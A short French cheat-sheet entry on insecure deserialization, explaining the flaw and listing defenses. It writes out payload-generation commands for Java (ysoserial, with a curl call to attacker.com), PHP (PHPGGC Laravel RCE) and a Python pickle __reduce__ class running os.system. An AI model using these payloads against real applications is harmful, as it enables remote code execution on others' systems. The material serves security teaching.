Désérialisation non sécurisée
★★★★★
Principe
Si l'application désérialise des données non fiables (fournies par l'utilisateur), un attaquant peut forger un objet malveillant qui exécutera du code à la désérialisation.
Exploitation par langage
# Java : ysoserial
java -jar ysoserial.jar CommonsCollections1 "curl http://attacker.com" | base64 -w0
# PHP : PHPGGC
php phpggc Laravel/RCE1 system "id" -b
# Python : pickle
import pickle,os
class E:
def __reduce__(self): return(os.system,("id",))
pickle.dumps(E()) Défenses
Ne jamais désérialiser des données utilisateur · JSON plutôt que formats natifs · Signer les données (HMAC) avant stockage · Whitelist des classes désérialisables